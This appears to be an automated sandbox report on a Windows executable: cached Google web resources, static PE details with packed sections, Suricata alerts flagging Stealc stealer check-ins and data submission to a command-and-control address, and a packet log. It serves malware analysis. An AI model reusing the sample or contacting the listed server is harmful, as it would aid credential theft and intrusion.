SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3503)
Category:	downloaded
Size (bytes):	3508
Entropy (8bit):	5.81749656812178
Encrypted:	false
SSDEEP:	96:n6v5liteIN6666VRhMjaLNCOqFbDjL0PaEhrNHJ+QIuwwefffffo:nEvQPN6666VrRcBDjLPQGQIuwm
MD5:	333D9A7B9EFE0863AF69D8EEE79E452D
SHA1:	BBE91817A3FD7612DDB430A970C390B311420066
SHA-256:	CCF8BF90E134EB5B759452001F4DB3B6835204965C59D7A6119175691B3B2CF9
SHA-512:	41C4E459606A8D5A75AFBD6C0619C40535DC5C6F54DB9099BD28C026870AB77867CAAB8E54428F6F8EB0DBBE07EEED66DA01198B7339A39171869F16029F0B41
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["billy zane marlon brando movie","la dodgers parade world series","hawaii mauna kea snowfall","november ssi checks","nyc halloween parade route","mystery manor monopoly go rewards","aaron judge drops fly ball world series","only murders season 5"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"Cg0vZy8xMWhubXk3c3loEhRXYWx0emluZyB3aXRoIEJyYW5kbzKnDmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWNBQUFBQndFQkFBQUFBQUFBQUFBQUFBQUJBZ01FQlFZSUJ3RC94QUEyRUFBQkF3SUVBd1FJQlFVQUFBQUFBQUFCQWdNUkFBUUZCaEloRXpIUk1rRldsQlFXSWxGaGdaR2hGU04wc2NGeGNvS1M4UC9FQUJrQkFR

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133746
Entropy (8bit):	5.436529216559699
Encrypted:	false
SSDEEP:	3072:2PMvjxd0QniyZ+qQf4VBNQ0pq2vx7U+OUaKszQ:EMvv0yTVBNQ0pFvxI+ORQ
MD5:	A04CAE1A224E1258244BA6CFB14FE547
SHA1:	75173CB0A3B662270A1BACA90794772556EAC309
SHA-256:	28AC8A7498E7D5FA1304255D55ECBA6AC600893E7260DC46282BFBD4FBA5C164
SHA-512:	4C80FBCEED01207F695043AB5DD18185C933C5620E5CB70CA9DB19D1C91DD4F4DEA180564BFAD98B2B6164E2DA0F2513CFB61410E67C37101E9F76040DA8876B
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.964006956852183
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'154'496 bytes
MD5:	806fda7172e2faf55675dd6f5dd76bb5
SHA1:	a0b78d8e750cf05d84f7590295f8c089a0efb130
SHA256:	ce2d291542364be8bec1008295893ba24b3da288898923a4f11bb144bd664e6f
SHA512:	a8c767c42f3988e38d7f400034d846eb68e5a9a0b83e8defccbb068db9761c26637c1e58015361be255dd2d5fe81efc3cdf62b44dcb8279d1ddb49c37bed3e7e
SSDEEP:	24576:0iIeK4bymvElk13GPcWRyRrgrURC2qk32BQUCtuYqlDMEIVREqAzFbrffp4v5ora:ueKwv8aAURGHBQUsuVNIYhzFffh0oM
TLSH:	73A5330B0D207FFFD269933A5B569F9F4C094A4EC473466CB18E981A7F2A0E05947D3A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb39000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB8A082277Ah
movsx esp, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FB8A08227E2h
push esi
dec edx
popad
je 00007FB8A08227DBh
push edx
dec esi
jc 00007FB8A08227EAh
cmp byte ptr [ebx], dh
push edx
jns 00007FB8A08227B7h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FB8A08227BDh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FB8A08227C7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FB8A08227BCh
dec eax
dec ebp
jo 00007FB8A08227B3h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FB8A08227C0h
insd
jnc 00007FB8A08227E0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FB8A08227C8h
push edx
insb
js 00007FB8A08227E1h
outsb
inc ecx
jno 00007FB8A08227C2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FB8A08227BCh
dec ebx
js 00007FB8A08227B3h
jne 00007FB8A08227A1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FB8A08227CCh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FB8A08227AAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FB8A08227E3h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	bb2ab6821fc90d435a9202b1488e7644	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2ab000	0x200	fa7ae41be2269ddc123cf52aec231481	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xugdxrgk	0x595000	0x1a3000	0x1a2e00	9f6b44521c7f4ef35deade7c49a281f1	False	0.9951466213443748	data	7.954124666986544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ygzrgnus	0x738000	0x1000	0x600	032f26829f18ce2f0eae5a3254ac3101	False	0.5755208333333334	data	5.095702100713046	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x739000	0x3000	0x2200	4e032da16fa2a272b13488abc0cd9001	False	0.4045266544117647	DOS executable (COM)	4.29425317559786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T05:52:05.228848+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T05:52:05.515266+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T05:52:05.651531+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-01T05:52:05.932001+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T05:52:05.940013+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-01T05:52:07.039629+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T05:52:07.575799+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T05:52:19.513663+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49746	TCP
2024-11-01T05:52:26.391159+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:29.879617+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:31.838264+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:32.812941+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:34.923919+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:35.495446+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:57.898375+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49763	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 05:51:55.004573107 CET	49675	443	192.168.2.4	173.222.162.32
Nov 1, 2024 05:52:03.995577097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:04.003078938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:04.003177881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:04.003357887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:04.010204077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:04.613740921 CET	49675	443	192.168.2.4	173.222.162.32
Nov 1, 2024 05:52:04.924437046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:04.924531937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:04.928457022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:04.933273077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.228728056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.228847980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.229798079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.234790087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.515182972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.515198946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.515254974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.515265942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.515311956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.646369934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.651530981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.931905985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.931922913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.931935072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.931993961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.932001114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.932005882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.932018995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.932063103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.932063103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.932837963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.932893038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.932976961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:05.933027983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.934364080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:05.940012932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:06.220590115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:06.220675945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:06.240135908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:06.240170956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:06.245882034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:06.245893955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:06.245903969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:06.245966911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:06.246664047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:06.246750116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.039463043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.039628983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.292124033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.297235966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.575726986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.575746059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.575756073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.575798988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.575813055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.575824976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.575831890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.575836897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.575856924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.575865030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.575881958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.576777935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.576828003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.576965094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.576976061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.576986074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.577009916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.577055931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.577838898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.577852011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.577862978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.577896118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.577954054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:07.739758015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.739769936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.739779949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.739789963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.739801884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.739811897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.739821911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:07.739833117 CET	80	49730	185.215.113.206	192.168.2.4
